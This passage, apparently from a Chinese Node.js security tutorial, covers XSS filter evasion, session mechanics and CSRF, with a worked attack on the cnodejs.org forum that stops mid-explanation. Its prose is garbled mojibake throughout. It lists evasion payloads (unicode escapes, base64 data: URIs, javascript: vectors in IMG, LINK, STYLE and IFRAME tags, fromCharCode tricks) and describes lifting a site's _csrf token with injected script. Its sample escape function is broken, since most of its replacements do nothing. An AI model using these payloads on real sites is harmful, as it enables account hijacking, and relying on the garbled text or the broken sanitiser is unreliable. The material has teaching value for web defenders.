Èç¹ûûÓп´³öÎÊÌ⣬´ó¼Ò¿ÉÒÔ´ò¿ªfirebug»òÕßchromeµÄ¿ª·¢ÈËÔ±¹¤¾ß£¬Ö±½Ó°ÑÏÂÃæ´úÂëÕ³Ìùµ½ÓÐJQuery²å¼þµÄÍøÕ¾ÖÐÔËÐУº

$('div:first').html('<div><script>alert("xss")</script><div>');

Õý³£µ¯³öÁËalert¿ò£¬Äã¿ÉÄܾõµÃÕâ±È½ÏС¶ù¿Æ¡£

Èç¹ûPHP³ÌÐòÔ±ÒѾ­×ªÒåÁ˼âÀ¨ºÅ<>»¹Óе¥Ë«ÒýºÅ"'£¬ÄÇôÉÏÃæµÄ¶ñÒâ´úÂë»á±»Æ¯ÁÁµÄ±ä³ÉÈçÏÂ×Ö·ûÊä³öµ½ÁôÑÔÄÚÈÝÖÐ:

$('div:first').html('<script> alert("xss")</script> ');

ÕâÀïÎÒÃÇÐèÒª±íÑïÒ»ÏÂPHP³ÌÐòÔ±£¬¿ÉÒÔ½«Ò»Ð©³£¹æµÄXSS×¢Èë¶¼ÆÁ±Îµô£¬µ«ÊÇÔÚutf-8±àÂëÖУ¬×Ö·û»¹ÓÐÁíÒ»ÖÖ±íʾ·½Ê½£¬ÄǾÍÊÇunicodeÂ룬ÎÒÃǰÑÉÏÃæµÄ¶ñÒâ×Ö·û´®¸Äд³ÉÈçÏ£º

$('div:first').html('
\u003c \u0073\u0063\u0072\u0069\u0070\u0074\u003e\u0061\u006c \u0065\u0072\u0074
\u0028 \u0022\u0078\u0073\u0073\u0022\u0029\u003c \u002f\u0073 \u0063\u0072\u0069\
u0070\u0074\u003e');

´ó¼Ò·¢ÏÖ»¹ÊÇÊä³öÁËalert¿ò£¬Ö»ÊÇÕâ´ÎÐèÒª½«Ð´ºÃµÄ¶ñÒâ´úÂë·ÅÈëתÂ빤¾ßÖÐ×öÏÂתÒ壬webqqÔø¾­¾Í±¬³ö¹ýÉÏÃæÕâÖÖunicodeÂëµÄXSS×¢Èë©¶´£¬ÁíÍâÓкܶ෴ÉäÐÍXSS©¶´ÒòΪ¹ýÂËÁ˵¥Ë«ÒýºÅ£¬ËùÒÔ±ØÐëʹÓÃÕâÖÖ·½Ê½½øÐÐ×¢Èë¡£

base64×¢Èë

³ýÁ˱ȽÏÀϵÄie6¡¢7ä¯ÀÀÆ÷£¬Ò»°ãä¯ÀÀÆ÷ÔÚ¼ÓÔØÒ»Ð©Í¼Æ¬×ÊÔ´µÄʱºòÎÒÃÇ¿ÉÒÔʹÓÃbase64±àÂëÏÔʾָ¶¨Í¼Æ¬£¬±ÈÈçÏÂÃæÕâ¶Îbase64±àÂ룺

<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEU (... Ê¡ÂÔÈô¸É×Ö·û) 
AAAASUVORK5CYII=" />

±íʾµÄ¾ÍÊÇÒ»ÕÅNode.js¹ÙÍøµÄlogo£¬Í¼Æ¬ÈçÏ£º

ÎÒÃÇÒ»°ãʹÓÃÕâÑùµÄ¼¼Êõ°ÑÒ»Ð©ÍøÕ¾³£ÓõÄlogo»òÕßСͼ±êת´æ³ÉΪbase64±àÂ룬½ø¶ø¼õÉÙÒ»´Î¿Í»§¶ËÏò·þÎñÆ÷µÄÇëÇ󣬼ӿìÓû§¼ÓÔØÒ³ÃæËÙ¶È¡£

ÎÒÃÇ»¹¿ÉÒÔ°ÑHTMLÒ³ÃæµÄ´úÂëÒþ²ØÔÚdataÊôÐÔÖ®ÖУ¬±ÈÈçÏÂÃæµÄ´úÂ뽫´ò¿ªÒ»¸öhello worldµÄÐÂÒ³Ãæ¡£

<a href="data:text/html;ascii,<html><title>hello</title><body>hello world
</body></html>">click me</a>

¸ù¾ÝÕâÑùµÄÌØÐÔ£¬ÎÒÃǾͿÉÒÔ³¢ÊÔ°ÑһЩ¶ñÒâµÄ´úÂëת´æ³ÉΪbase64±àÂë¸ñʽ£¬È»ºó×¢Èëµ½a±êÇ©ÀïÈ¥£¬´Ó¶øÐγɷ´ÉäÐÍXSS©¶´£¬ÎÒÃDZàÂëÈçÏ´úÂë¡£

<img src=x onerror=alert(1)>

¾­¹ýbase64±àÂëÖ®ºóµÄ¶ñÒâ´úÂëÈçÏ¡£

<a href="data:text/html;base64, PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==">base64 xss</a>

Óû§ÔÚµã»÷Õâ¸ö³¬Á´½ÓÖ®ºó£¬¾Í»áÖ´ÐÐÈçÉϵĶñÒâalertµ¯´°£¬¾ÍËãÍøÕ¾¿ª·¢Õß¹ýÂËÁ˵¥Ë«ÒýºÅ",'ºÍ×óÓÒ¼âÀ¨ºÅ<>£¬×¢È뻹ÊÇÄܹ»ÉúЧµÄ¡£

²»¹ýÕâÑùµÄ×¢ÈëÒòΪ¿çÓòµÄÎÊÌ⣬¶ñÒâ½Å±¾ÊÇÎÞ·¨»ñÈ¡ÍøÕ¾µÄcookieÖµ¡£ÁíÍâÈç¹ûÍøÕ¾ÌṩÎÒÃÇ×Ô¶¨Òåflash·¾¶£¬Ò²ÊÇ¿ÉÒÔʹÓÃÏàͬµÄ·½Ê½½øÐÐ×¢ÈëµÄ£¬ÏÂÃæÊÇÒ»¶Î¹æ·¶µÄÔÚÍøÒ³ÖвåÈëflashµÄ´úÂ룺

<object type="application/x-shockwave-flash" data="movie.swf" width="400" height="300">
<param name="movie" value="movie.swf" />
</object>

°ÑdataÊôÐÔ¸Äд³ÉÈç϶ñÒâÄÚÈÝ£¬Ò²Äܹ»Í¨¹ýbase64±àÂë½øÐÐ×¢Èë¹¥»÷£º

<script>alert("Hello");</script>

¾­¹ý±àÂë¹ýºóµÄ×¢ÈëÄÚÈÝ£º

<object data="data:text/html;base64, PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4="></object>

Óû§ÔÚ´ò¿ªÒ³Ãæºó£¬»áµ¯³öalert¿ò£¬µ«ÊÇÔÚchromeä¯ÀÀÆ÷ÖÐÊÇÎÞ·¨»ñÈ¡µ½Óû§cookieµÄÖµ£¬ÒòΪchrome»áÈÏΪÕâ¸ö²Ù×÷²»°²È«¶ø½ûÖ¹Ëü£¬¿´À´ÎÒÃǵÄä¯ÀÀÆ÷ΪÓû§°²È«Ò²×öÁ˲»ÉٵĿ¼ÂÇ¡£

³£ÓÃ×¢È뷽ʽ

×¢ÈëµÄ¸ù±¾Ä¿µÄ¾ÍÊÇÒªHTML±êÇ©Òç³ö£¬´Ó¶øÖ´Ðй¥»÷ÕߵĶñÒâ´úÂ룬ÏÂÃæÊÇһЩ³£Óù¥»÷ÊֶΣº

£¨1£©alert(String.fromCharCode(88,83,83))£¬Í¨¹ý»ñÈ¡×ÖĸµÄasciiÂëÀ´¹æ±Üµ¥Ë«ÒýºÅ£¬ÕâÑù¾ÍËãÍøÕ¾¹ýÂ˵ôµ¥Ë«ÒýºÅÒ²»¹ÊÇ¿ÉÒԳɹ¦×¢ÈëµÄ¡£

£¨2£©<IMG SRC=JaVaScRiPt:alert('XSS')>£¬Í¨¹ý×¢Èëimg±êÇ©À´´ïµ½¹¥»÷µÄÄ¿µÄ£¬Õâ¸öÖ»¶Ôie6ºÍie7ÏÂÓÐЧ£¬ÒâÒå²»´ó¡£

£¨3£©<IMG SRC=""onerror="alert('xxs')">£¬Èç¹ûÄܳɹ¦±ÕºÏimg±êÇ©µÄsrcÊôÐÔ£¬ÄÇô¼ÓÉÏonload»òÕßonerrorʼþ¿ÉÒÔ¸ü¼òµ¥µÄÈÃÓû§ÔâÊܹ¥»÷¡£

£¨4£©<IMG SRC=javascript:alert('XSS')>£¬ÕâÖÖ·½Ê½Ò²Ö»ÓжÔie6×àЧ¡£

£¨5£©<IMG SRC="jav ascript:alert('XSS');">£¬<IMG SRC=java\0script:alert(\"XSS\")>£¬<IMG SRC="jav ascript:alert('XSS');">£¬ÎÒÃÇÒ²¿ÉÒ԰ѹؼü×ÖJavascript·Ö¿ªÐ´£¬±Ü¿ªÒ»Ð©¼òµ¥µÄÑéÖ¤£¬ÕâÖÖ·½Ê½ie6ͳͳÖÐÕУ¬ËùÒÔie6Õæ²»Êǰ²È«µÄä¯ÀÀÆ÷¡£

£¨6£©<LINK REL="stylesheet" HREF="javascript:alert('XSS');">£¬Í¨¹ýÑùʽ±íÒ²ÄÜ×¢Èë¡£

£¨7£©<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>,Èç¹û¿ÉÒÔ×Ô¶¨ÒåstyleÑùʽ£¬Ò²¿ÉÄܱ»×¢Èë¡£

£¨8£©<IFRAME SRC="javascript:alert('XSS');"></IFRAME>£¬iframeµÄ±êǩҲ¿ÉÄܱ»×¢Èë¡£

£¨9£©<a href="javasc ript:alert(1)">click</a>£¬ÀûÓà αװ»»ÐУ¬:αװðºÅ£¬´Ó¶ø±Ü¿ª¶ÔJavascript¹Ø¼ü×ÖÒÔ¼°Ã°ºÅµÄ¹ýÂË¡£

ÆäʵXSS×¢Èë¹ý³Ì³äÂúÖǻۣ¬Ö»ÒªÄã·´¸´³¢ÊÔ¸÷ÖÖ¼¼ÇÉ£¬¾Í¿ÉÄÜÔÚÍøÕ¾µÄij´¦¹¥»÷³É¹¦¡£×ÜÖ®£¬·¢»ÓÄãµÄÏëÏóÁ¦È¥×¢Èë°É£¬×îºó±ðÍüÁËÌáÐÑÏÂÕ¾³¤Å¶¡£¸ü¶àXSS×¢È뷽ʽ²ÎÔÄ£º(XSS Filter Evasion Cheat Sheet)[https://www.owasp.org/index.php/XSSFilterEvasionCheatSheet]

·À·¶´ëÊ©

¶ÔÓÚ·À·¶XSS×¢È룬ÆäʵֻÓÐÁ½¸ö×Ö¹ýÂË£¬Ò»¶¨Òª¶ÔÓû§Ìá½»ÉÏÀ´µÄÊý¾Ý±£³Ö»³ÒÉ£¬¹ýÂ˵ôÆäÖпÉÄÜ×¢ÈëµÄ×Ö·û£¬ÕâÑù²ÅÄܱ£Ö¤Ó¦Óõݲȫ¡£ÁíÍ⣬¶ÔÓÚÈë¿âʱ¹ýÂË»¹ÊǶÁ¿âʱ¹ýÂË£¬Õâ¾ÍÐèÒª¸ù¾ÝÓ¦ÓõÄÀàÐÍÀ´½øÐÐÑ¡ÔñÁË¡£ÏÂÃæÊÇÒ»¸ö¼òµ¥µÄ¹ýÂËHTML±êÇ©µÄº¯Êý´úÂ룺

var escape = function(html){
return String(html)
.replace(/&(?!\w+;)/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''');
};

²»¹ýÉÏÊöµÄ¹ýÂË·½·¨»á°ÑËùÓÐHTML±êÇ©¶¼×ªÒ壬Èç¹ûÎÒÃǵÄÍøÕ¾Ó¦ÓÃȷʵÓÐ×Ô¶¨ÒåHMTL±êÇ©µÄÐèÇóµÄ»°£¬Ëü¾ÍÁ¦²»´ÓÐÄÁË¡£ÕâÀïÎÒÍÆ¼öÒ»¸ö¹ýÂËXSS×¢ÈëµÄÄ£¿é£¬Óɱ¾ÊéÁíһλ×÷ÕßÀÏÀ×Ìṩ£ºjs-xss

CSRFÇëÇóαÔì

CSRFÊÇÊ²Ã´ÄØ£¿CSRFÈ«ÃûÊÇCross-site request forgery£¬ÊÇÒ»ÖÖ¶ÔÍøÕ¾µÄ¶ñÒâÀûÓã¬CSRF±ÈXSS¸ü¾ßΣÏÕÐÔ¡£

SessionÏê½â

ÏëÒªÉîÈëÀí½âCSRF¹¥»÷µÄÌØÐÔ£¬ÎÒÃDZØÐëÁ˽âÍøÕ¾sessionµÄ¹¤×÷Ô­Àí¡£

sessionÎÒÏë´ó¼Ò¶¼²»»áİÉú£¬ÎÞÂÛÄãÓÃNode.js»òPHP¿ª·¢¹ýÍøÕ¾µÄ¿Ï¶¨¶¼Óùýsession¶ÔÏ󣬼ÙÈçÎÒ°Ñä¯ÀÀÆ÷µÄcookie½ûÓÃÁË£¬´ó¼ÒÈÏΪsession»¹ÄÜÕý³£¹¤×÷Âð£¿

´ð°¸ÊÇ·ñ¶¨µÄ£¬ÎÒ¾Ù¸ö¼òµ¥µÄÀý×ÓÀ´°ïÖú´ó¼ÒÀí½âsessionµÄº¬Òå¡£

±ÈÈçÎÒ°ìÁËÒ»Õų¬ÊеĴ¢Öµ»áÔ±¿¨£¬ÎÒÄÜÏíÊܲ¿·ÖÉÌÆ·´òÕÛµÄÓŻݣ¬ÎҵĸöÈË×ÊÁÏÒÔ¼°¿¨ÄÚÓà¶î¶¼ÊDZ£´æÔÚ³¬ÊлáÔ±Êý¾Ý¿âÀïµÄ¡£Ã¿´Î½áÕËʱ£¬³öʾ»áÔ±¿¨³¬ÊбãÄÜÖªµÀÎÒµÄÉí·Ý£¬Ëæ¼´½øÐдòÕÛÓŻݲ¢¿Û³ý¿¨ÄÚÏàÓ¦Óà¶î¡£

ÕâÀïÎÒÃǵĻáÔ±¿¨¿¨ºÅ¾ÍÏ൱ÓÚ±£´æÔÚcookieÖеÄsessionid£¬¶øÎҵĸöÈËÐÅÏ¢¾ÍÊDZ£´æÔÚ·þÎñ¶ËµÄsession¶ÔÏó£¬ÒòΪcookieÓÐÁ½¸öÖØÒªÌØÐÔ£¬£¨1£©Í¬Ô´ÐÔ£¬±£Ö¤ÁËcookie²»»á¿çÓò·¢ËÍÔì³ÉйÃÜ£»£¨2£©¸½´øÐÔ£¬±£Ö¤Ã¿´ÎÇëÇó·þÎñ¶Ë¶¼»áÔÚÇëÇóÍ·ÖдøÉÏcookieÐÅÏ¢¡£Ò²¾ÍÊÇÕâÁ½¸öÌØÐÔΪÎÒÃÇʶ±ðÓû§´øÀ´µÄ±ãÀû£¬ÒòΪHTTPЭÒéÊÇÎÞ״̬µÄ£¬ÎÒÃÇÖ®ËùÒÔÖªµÀÇëÇóÓû§µÄÉí·Ý£¬Æäʵ¾ÍÊÇ»ñÈ¡ÁËÓû§ÇëÇóÍ·ÖеÄcookieÐÅÏ¢¡£

µ±È»session¶ÔÏóµÄ±£´æ·½·¨¶àÖÖ¶àÑù£¬¿ÉÒÔ±£´æÔÚÎļþÖУ¬Ò²¿ÉÒÔÊÇÄÚ´æÀï¡£¿¼Âǵ½·Ö²¼Ê½µÄºáÏòÀ©Õ¹£¬ÎÒÃÇ»¹Êǽ¨ÒéÉú²ú»·¾³°ÑËü±£´æÔÚµÚÈý·½Ã½½éÖУ¬±ÈÈçredis»òÕßmongodb£¬Ä¬ÈϵÄexpress¿ò¼ÜÊǽ«session¶ÔÏó±£´æÔÚÄÚ´æÀïµÄ¡£

³ýÁËÓÃcookie±£´æsessionid£¬ÎÒÃÇ»¹¿ÉÒÔʹÓÃurl²ÎÊýÀ´±£´æsessionid£¬Ö»²»¹ýÿ´ÎÇëÇó¶¼ÐèÒªÔÚurlÀï´øÉÏÕâ¸ö²ÎÊý£¬¸ù¾ÝÕâ¸ö²ÎÊý£¬ÎÒÃǾÍÄÜʶ±ð´Ë´ÎÇëÇóµÄÓû§Éí·ÝÁË¡£

ÁíÍâ½ü½×¶ÎÀûÓÃEtagÀ´±£´æsessionidÒ²±»Ê¹ÓÃÔÚÓû§ÐÐΪ¸ú×ÙÉÏ£¬EtagÊǾ²Ì¬×ÊÔ´·þÎñÆ÷¶ÔÓû§ÇëÇóÍ·ÖÐif-none-matchµÄÏìÓ¦£¬Ò»°ãÎÒÃǵÚÒ»´ÎÇëÇóijһ¸ö¾²Ì¬×ÊÔ´ÊDz»»á´øÉÏÈκιØÓÚ»º´æÐÅÏ¢µÄÇëÇóÍ·µÄ£¬Õâʱºò¾²Ì¬×ÊÔ´·þÎñÆ÷¸ù¾Ý´Ë×ÊÔ´µÄ´óСºÍ×îÖÕÐÞ¸Äʱ¼ä£¬¹þÏ£¼ÆËã³öÒ»¸ö×Ö·û´®×÷ΪEtagµÄÖµÏìÓ¦¸ø¿Í»§¶Ë£¬ÈçÏÂͼ£º

µÚ¶þ´Îµ±ÎÒÃÇÔÙ·ÃÎÊÕâ¸ö¾²Ì¬×ÊÔ´µÄʱºò£¬ÓÉÓÚ±¾µØä¯ÀÀÆ÷¾ßÓдËͼƬµÄ»º´æ£¬µ«ÊDz»È·¶¨·þÎñÆ÷ÊÇ·ñÒѾ­¸üеôÁËÕâ¸ö¾²Ì¬×ÊÔ´£¬ËùÒÔÔÚ·¢ÆðÇëÇóµÄʱºò»á´øÉÏif-none-match²ÎÊý£¬ÆäÖµ¾ÍÊÇÉÏ´ÎÇëÇó·þÎñÆ÷ÏìÓ¦µÄEtagÖµ¡£·þÎñÆ÷½ÓÊÕµ½Õâ¸öif-none-matchµÄÖµ£¬ÔÙ¸ù¾ÝÔ­Ë㷨ȥÉú³ÉEtagÖµ£¬½øÐбȶԡ£Èç¹ûÁ½¸öÖµÏàͬ£¬Ôò˵Ã÷¸Ã¾²Ì¬×ÊԴûÓб»¸üУ¬ÓÚÊÇÏìӦ״̬Âë304£¬¸æËßä¯ÀÀÆ÷·ÅÐĵÄʹÓñ¾µØ»º´æ£¬Ô¶³Ì×ÊԴûÓиüУ¬½á¹ûÈçÏÂͼ£º

µ±È»Èç¹ûÔ¶³Ì×ÊÔ´Óб䶯£¬Ôò·þÎñÆ÷»áÏìÓ¦Ò»·ÝеÄ×ÊÔ´¸øä¯ÀÀÆ÷£¬²¢ÇÒEtagµÄÖµÒ²»á²»Í¬¡£¸ù¾ÝÕâÑùµÄÒ»¸öÌØÐÔ£¬ÎÒÃÇ¿ÉÒԵóö½áÂÛ£¬ÔÚÓû§µÚÒ»´ÎÇëÇóijһ¸ö¾²Ì¬×ÊÔ´µÄʱºòÎÒÃÇÏìÓ¦¸øËüÒ»¸öÈ«¾ÖΨһµÄEtagÖµ£¬ÔÚÓû§²»Çå¿Õ»º´æµÄÇé¿öÏ£¬Óû§Ï´ÎÔÙÇëÇóµ½·þÎñÆ÷£¬»¹ÊÇ»á´øÉÏͬһ¸öEtagÖµµÄ£¬ÓÚÊÇÎÒÃÇ¿ÉÒÔÀûÓÃÕâ¸öÖµ×÷Ϊsessionid£¬¶øÎÒÃÇÔÚ·þÎñÆ÷¶Ë±£´æÕâЩEtagÖµºÍÓû§ÐÅÏ¢µÄ¶ÔÓ¦¹ØÏµ£¬Ò²¾Í¿ÉÒÔÀûÓÃEtagÀ´±êʶ³öÓû§Éí·ÝÁË¡£

CSRFµÄΣº¦ÐÔ

ÔÚÎÒÃÇÀí½âÁËsessionµÄ¹¤×÷»úÖÆºó£¬CSRF¹¥»÷Ò²¾ÍºÜÈÝÒ×Àí½âÁË¡£CSRF¹¥»÷¾ÍÏ൱ÓÚ¶ñÒâÓû§¸´ÖÆÁËÎҵĻáÔ±¿¨£¬ÓÃÎҵĻáÔ±¿¨ÏíÊܹºÎïµÄÓÅ»ÝÕÛ¿Û£¬¸ü¿ÉÒÔʹÓÃÎÒ¹ºÎ│ÀïµÄÓà¶î¹ºÂòËûµÄ¶«Î÷£¡

CSRFµÄΣº¦ÐÔÒѾ­²»ÑÔ¶øÓ÷ÁË£¬¶ñÒâÓû§¿ÉÒÔαÔìijһ¸öÓû§µÄÉí·Ý¸øÆäºÃÓÑ·¢ËÍÀ¬»øÐÅÏ¢£¬ÕâЩÀ¬»øÐÅÏ¢µÄ³¬Á´½Ó¿ÉÄÜ´øÓÐľÂí³ÌÐò»òÕßһЩթƭÐÅÏ¢£¨±ÈÈç½èǮ֮ÀàµÄ£©¡£Èç¹û·¢Ë͵ÄÀ¬»øÐÅÏ¢»¹´øÓÐÈ䳿Á´½ÓµÄ»°£¬½ÓÊÕµ½ÕâЩÓк¦ÐÅÏ¢µÄºÃÓÑÒ»µ©´ò¿ªË½ÐÅÖеÄÁ´½Ó£¬¾ÍÒ²³ÉΪÁËÓк¦ÐÅÏ¢µÄÉ¢²¥Õߣ¬ÕâÑùÊýÒÔÍò¼ÆµÄÓû§±»ÇÔÈ¡ÁË×ÊÁÏ¡¢ÖÖÖ²ÁËľÂí¡£Õû¸öÍøÕ¾µÄÓ¦ÓþͿÉÄÜÔÚ¶Ìʱ¼äÄÚ̱»¾¡£

MSNÍøÕ¾£¬Ôø¾­±»Ò»¸öÃÀ¹úµÄ19ËêС»ï×ÓSamyÀûÓÃcssµÄbackground©¶´¼¸Ð¡Ê±ÄÚÈÃ100¶àÍòÓû§³É¹¦µÄ¸ÐȾÁËËûµÄÈ䳿£¬ËäÈ»Õâ¸öÈ䳿²¢Ã»ÓÐÆÆ»µÕû¸öÓ¦Óã¬Ö»ÊÇÔÚÿһ¸öÓû§µÄÇ©ÃûºóÃæ¶¼Ôö¼ÓÁËÒ»¾ä¡°Samy ÊÇÎÒµÄżÏñ¡±£¬µ«ÊÇÒ»µ©ÕâЩ©¶´±»¶ñÒâÓû§ÀûÓ㬺ó¹û½«²»¿°ÉèÏ롣ͬÑùµÄÊÂÇéÒ²Ôø¾­·¢ÉúÔÚÐÂÀË΢²©ÉÏ¡£

ÏëÒªCSRF¹¥»÷³É¹¦£¬×î¼òµ¥µÄ·½Ê½¾ÍÊÇÅäºÏXSS×¢È룬ËùÒÔǧÍò²»ÒªÐ¡¿´ÁËXSS×¢Èë¹¥»÷´øÀ´µÄºó¹û£¬²»ÊÇalertÒ»¸ö¶Ô»°¿òÄÇô¼òµ¥£¬XSS×¢Èë½ö½öÊǵÚÒ»²½£¡

cnodejs¹ÙÍø¹¥»÷ʵÀý

±¾½Ú½«¸ø´ó¼Ò´øÀ´Ò»¸öÕæÊµµÄ¹¥»÷°¸Àý£¬Ñ§Ï°Node.js±à³ÌµÄ°®ºÃÕßÃǿ϶¨¶¼·ÃÎʹýcnodejs.org£¬ÔçÆÚcnodejs½öʹÓÃÒ»¸ö¼òµ¥µÄMarkdown±à¼­Æ÷×÷Ϊ·¢Ìû»Ø¸´µÄ¹¤¾ß²¢Ã»ÓÐ×öÈκÎÏÞÖÆ£¬Ôڱ༭Æ÷¹ýÂ˵ôHTML±êǩ֮ǰ£¬Õû¸öÉçÇøalertµ¯´°ÂúÌì·É£¬ÏÂͼ¾ÍÊÇÐÞ¸´Õâ¸ö©¶´Ö®Ç°µÄ¸÷ÖÖ×¢ÈëÇé¿ö£º

ÏÈ·ÖÎöÒ»ÏÂcnodejs±»×¢ÈëµÄÔ­Òò£¬ÆäʵԭÀíºÜ¼òµ¥£¬¾ÍÊÇÖ±½Ó¿ÉÒÔÔÚÎı¾±à¼­Æ÷ÀïдÈë´úÂ룬±ÈÈ磺

<script>alert("xss")</script>

Èç´Ë¹âÃ÷Õý´óµÄ×¢Èë¿Ï¶¨»áÒýÆðÕ¾³¤ÃǵÄ×¢Ò⣬ÓÚÊÇÕ¾³¤¹Ø±ÕÁËmarkdown±à¼­Æ÷µÄHTML±êÇ©¹¦ÄÜ£¬Ç¿ÖƹýÂËÖ±½ÓÔڱ༭Æ÷ÖÐÊäÈëµÄHTML±êÇ©¡£

cnodejs×¢ÈëµÄ·ç²¨ÔÝʱƽϢÁË£¬²»¹ýÕæµÄ½ûÓÃÁËËùÓÐÊäÈëµÄHTML±êÇ©¾Í°²È«ÁËÂð£¿ÎÒÃÇ´ò¿ªcnodejsÍøÕ¾µÄ·¢ÌûÒ³Ãæ£¬·¢Ïֱ༭Æ÷Æäʵ»¹ÊÇ¿ÉÒÔ²åÈ볬Á´½ÓµÄ£¬Õâ¸ö¹¦ÄܾÍÊÇΪÁ˰ïÖú¿ª·¢Õß·ÖÏí×Ô¼ºµÄwebÕ¾µãÒÔ¼°Ñ§Ï°×ÊÁÏ£º

Ò»°ãweb±à¼­Æ÷µÄ³¬Á´½Ó¹¦ÄÜ×îÓпÉÄܳÉΪ·´ÉäÐÍXSSµÄ×¢Èëµã£¬ÏÂÃæÊÇweb±à¼­Æ÷ͨ³£²ÉÈ¡µÄ³¬Á´½Ó¹¦ÄÜʵÏÖµÄÔ­Àí£¬¸ù¾ÝÓû§ÌîдµÄ³¬Á´½ÓµØÖ·£¬Éú³É<a>±êÇ©£º

<a href="Óû§ÌîдµÄ³¬Á´½ÓµØÖ·">Óû§ÌîдµÄ³¬Á´½ÓÃèÊö</a>

ͨ³£ÎÒÃÇ¿ÉÒÔͨ¹ýÏÂÃæÁ½ÖÖ·½Ê½×¢Èë<a>±êÇ©£º

£¨1£©Óû§ÌîдµÄ³¬Á´½ÓÄÚÈÝ = javascript:alert("xss");

£¨2£©Óû§ÌîдµÄ³¬Á´½ÓÄÚÈÝ = http://www.baidu.com#"onclick="alert('xss')"

·½·¨£¨1£©ÊÇÖ±½ÓдÈëjs´úÂ룬һ°ã¶¼»á±»½ûÓã¬ÒòΪ·þÎñ¶ËÒ»°ã»áÑéÖ¤url µØÖ·µÄºÏ·¨ÐÔ£¬±ÈÈçÊÇ·ñÊÇhttp»òÕßhttps¿ªÍ·µÄ¡£

·½·¨£¨2£©ÊÇÀûÓ÷þÎñ¶ËûÓйýÂËË«ÒýºÅ£¬´Ó¶ø½Ø¶Ï<a>±êÇ©hrefÊôÐÔ£¬¸øÕâ¸ö<a>±êÇ©Ôö¼Óonclickʼþ,´Ó¶øÊµÏÖ×¢Èë¡£

ºÜ¿Éϧ£¬¾­¹ýÉý¼¶µÄcnodejsÍøÕ¾±à¼­Æ÷½«Ë«ÒýºÅ¹ýÂË£¬ËùÒÔ·½·¨£¨2£©ÒѾ­Ðв»Í¨ÁË¡£µ«ÊÇcnodejs²¢Ã»ÓйýÂ˵¥ÒýºÅ£¬µ¥ÒýºÅÎÒÃÇÒ²ÊÇ¿ÉÒÔÀûÓõģ¬ÓÚÊÇÎÒÃÇ×¢ÈëÈçÏ´úÂ룺

ÎÒÃÇαÔìÁËÒ»¸ö±êÌâΪbbbbµÄ³¬Á´½Ó£¬È»ºóÔÚhrefÊôÐÔÀïÖ±½ÓдÈëjs´úÂëalert£¬×îºóÎÒÃÇÀûÓÃjsµÄ×¢ÊÍÌí¼ÓÒ»¸öË«ÒýºÅ½á⣬Æóͼ³¢ÊÔË«ÒýºÅÊÇ·ñתÒå¡£Èç¹ûµ¥ÒýºÅÒ²±»×ªÒåÎÒÃÇ»¹¿ÉÒÔ³¢ÊÔʹÓÃString.fromCharCode();µÄ·½Ê½À´×¢È룬ÉÏͼhrefÊôÐÔÒ²¿ÉÒÔ¸ÄΪ£º

<a href="javascript:eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,
41))">Óû§ÌîдµÄ³¬Á´½ÓÃèÊö</a>

ÏÂͼ¾ÍÊÇXSS×¢Èë³É¹¦£¬<a>±êÇ©²à©µÄͼƬ£º

ÔÚ½øÐÐÒ»´Î¼òµ¥µÄCSRF¹¥»÷֮ǰ£¬ÎÒÃÇÐèÒªÁ˽âÒ»°ãÍøÕ¾ÊÇÈçºÎ·À·¶CSRFµÄ¡£

ÍøÕ¾Í¨³£ÔÚÐèÒªÌá½»Êý¾ÝµÄµØ·½ÂñÈëÒ»¸öÒþ²ØµÄinput¿ò£¬Õâ¸öinput¿òµÄnameÖµ¿ÉÄÜÊÇ_csrf»òÕß_inputµÈ£¬Õâ¸öÒþ²ØµÄinput¿ò¾ÍÊÇÓÃÀ´µÖÓùCSRF¹¥»÷µÄ£¬Èç¹û¹¥»÷ÕßÒýµ¼Óû§ÔÚÆäËûÍøÕ¾·¢ÆðpostÇëÇóÌá½»±íµ¥Ê±£¬»áÒòΪÒþ²Ø¿òµÄ_csrfÖµ²»Í¬¶øÑé֤ʧ°Ü£¬Õâ¸ö_csrfÖµ½«»á¼Ç¼ÔÚsession¶ÔÏóÖУ¬ËùÒÔÔÚÆäËû¶ñÒâÍøÕ¾ÊÇÎÞ·¨»ñÈ¡µ½Õâ¸öÖµµÄ¡£

µ«Êǵ±Õ¾µã±»XSS×¢ÈëÖ®ºó£¬Òþ²Ø¿òµÄ·ÀÓùCSRF¹¦Äܽ«³¹µ×ʧЧ¡£»Øµ½cnodejsÕ¾µã£¬²é¿´Ô´Â룬ÎÒÃÇ¿´µ½ÍøÕ¾×÷Õß°Ñ_csrfÖµ·Åµ½±Õ°üÄÚ£¬È»ºóͨ¹ýÄ£°æäÖȾֱ½ÓÊä³ö£¬ÕâÑù¿´ÉÏÈ¥¿ÉÒÔ·ÀÓù×¢ÈëµÄ½Å±¾Ö±½Ó»ñÈ¡_csrfµÄÖµ£¬µ«ÊÇÕæµÄÕâÑùÂð£¿ÎÒÃÇ¿´ÏÂÃæ´úÂëµÄÔËÐнØÍ¼£º

ÎÒÃÇÓÃAjaxÇëÇó±¾Ò³µØÖ·£¬È»ºó»ñÈ¡Õû¸öÒ³ÃæµÄÎı¾£¬Í¨¹ýÕýÔò½«_csrfµÄֵƥÅä³öÀ´£¬Äõ½_csrfÖµºóÎÒÃǾͿÉÒÔΪËùÓûΪÁË£¬ÎÒÃÇÕâ´ÎµÄ¹¥»÷µÄÄ¿µÄÓÐ2¸ö£º

